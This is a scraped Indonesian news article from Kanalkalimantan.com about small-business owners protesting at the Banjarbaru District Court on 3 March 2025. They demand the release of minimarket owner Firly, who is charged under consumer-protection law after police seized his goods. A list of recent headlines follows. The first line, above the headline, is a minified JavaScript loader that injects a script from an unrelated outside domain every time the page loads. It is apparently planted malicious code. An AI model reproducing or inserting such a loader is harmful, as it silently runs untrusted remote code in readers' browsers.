(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Dugaan Kriminalisasi ke Pelaku UMKM, Massa ‘Serbu’ PN Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Tindakan aparat kepolisian menggeledah dan menyita barang dagangan mini market Mama Khas Banjar dikecam puluhan massa aksi di depan halaman kantor Pengadilan Negeri (PN) Kota Banjarbaru, Senin (3/3/2025) siang.

Mereka mengatasnamakan diri sebagai Masyarakat Nukar Iwak Asin (MaNIA) for Justice di bawah Lembaga Bantuan Hukum (LBH) Putra Sang Fajar (PUSAFA).

Puluhan massa yang juga merupakan pelaku UMKM Kota Banjarbaru menuntut owner mini market Mama Khas Banjar bernama Firly tidak ditahan.

“Kami datang ke PN menuntut dibebaskannya Firly,” ujar Muhammad Hairono, koordinator lapangan aksi di depan halaman kantor PN Kota Banjarbaru.

Menurutnya ada kesepakatan atau MoU antara Kapolri dan Kementerian Koperasi tahun 2021 yang menyebutkan tidak akan ada tindakan kriminalisasi pelaku UMKM. Adanya MoU itu menurutnya, Firly tidak layak untuk ditahan.

Baca juga: KPU Kalsel Ambil Alih Pelaksanaan PSU Pilwali Banjarbaru

“Kami juga menuntut pra peradilan untuk Firly, jadi sebelum pokok perkara ini digelar kami ingin pra peradilan dilaksanakan,” sambung dia.

“Tapi nyatanya pada hari ini pra peradilan yang mana itu adalah hak dari seluruh warga negara Indonesia, hak asasi rakyat itu hari ini tidak dilaksanakan,” jelasnya.

Dalam kasus ini, MaNIA for Justice didampingi LBH Putra Sang Fajar menduga kepolisian Polda Kalsel yang menangani perkara, maupun Kejari Banjarbaru mempercepat proses pelimpahan perkara untuk menggugurkan proses pra peradilan yang dimohonkan tersangka pasal 62 ayat (1) jo Pasal 8 ayat (1) huruf g dan i tentang perlindungan konsumen di PN Banjarmasin. Mereka menganggap itu adalah bentuk ke dzoliman para penguasa yang ada hari ini.

Dia berpendapat peradilan modern saat ini sudah seharusnya memberlakukan pra peradilan, seperti mulai dari bagaimana proses penangkapan itu dilakukan, apakah sudah sesuai, begitupun harta barang yang disita apakah sudah sesuai.

Baca juga: Cek Stok Sembako, Satgas Pangan Polres HSU: Jangan Panic Buying

“Karena sampai hari ini harta sitaan oleh polisi jumlahnya itu ada 937 item dengan nilai puluhan juta, jangan sampai rakyat dirugikan oleh itu karena itu adalah hasil keringat Firly sendiri sebagai pelaku UMKM,” tegas dia.

Sementara itu Johar, manager mini market Mama Khas Banjar mengungkapkan, kronologi kejadian, dimana saat kejadian Februari lalu, polisi datang ke toko mini market milik Firly dengan tidak langsung menunjukkan surat perintah tugas.

“Polisi hanya menunjukkan sekilas, tetapi tidak memberi ke kami dan tidak didampingi oleh BPOM, Satpol PP atau dinas terkait ataupun dinas yang membina kami, seperti Dinas Perikanan dan Ketahanan Pangan,” ujar manager mini market Mama Khas Banjar, Johar.
Surat tugas yang dibawa polisi, dikatakan Johar. hanya ditunjukkan sekilas kepada karyawan, tidak terbaca maupun tidak diberikan kepada pihaknya.

“Polisi langsung melakukan pengeledahan penyitaan barang barang yang masih ada di basement,” sambungnya.

Baca juga: Stasiun Klimatologi Kalsel: Curah Hujan Kembali Meningkat Maret 2025

Tindakan itu sangat disayangkan oleh pihaknya karena diklaim kepolisian tidak mengikuti prosedur yang ada. “Seperti diberi binaan atau SP 1, SP 2 SP 3 tidak adan. UMKM malah dibinasakan,” sebutnya.

Dari tindakan itu, kata Johar, UMKM milik Firly diketahui mengalami kerugian hampir total Rp100 juta. Dimana dari barang sitaan yang didapati polisi sudah bernilai Rp30 juta kerugiannya.

“Kerugian hampir Rp100 jutaan, untuk kerugian Rp30 juta barang yang disita dan barang yang disita tidak dikembalikan ke kami,” tandas Johar.
Kasus ini sebelumnya viral di sosial media yang diunggah di akun reels Instagram @mamakhasbanjar.

Baca juga: Perdana di Rapat Paripurna DPRD, Ini Kata Bupati HSU H Sahrujani

Diduga tersangka Firly Norachim (31) disangkakan dugaan pasal pelaku usaha yang memperdagangkan barang yang tidak mencantumkan tanggal kadaluwarsa sesuai pasal 62 ayat (1) jo pasal 8 ayat (1) huruf g dan i Undang-Undang Nomor 8 Tahun 1999 tentang perlindungan konsumen.

Firly menjalani sidang perdana dengan agenda pembacaan dakwaan di PN Banjarbaru, Senin (3/3/2025) pagi. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

42 detik ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

2 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

10 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

11 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

12 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

12 jam ago

This website uses cookies.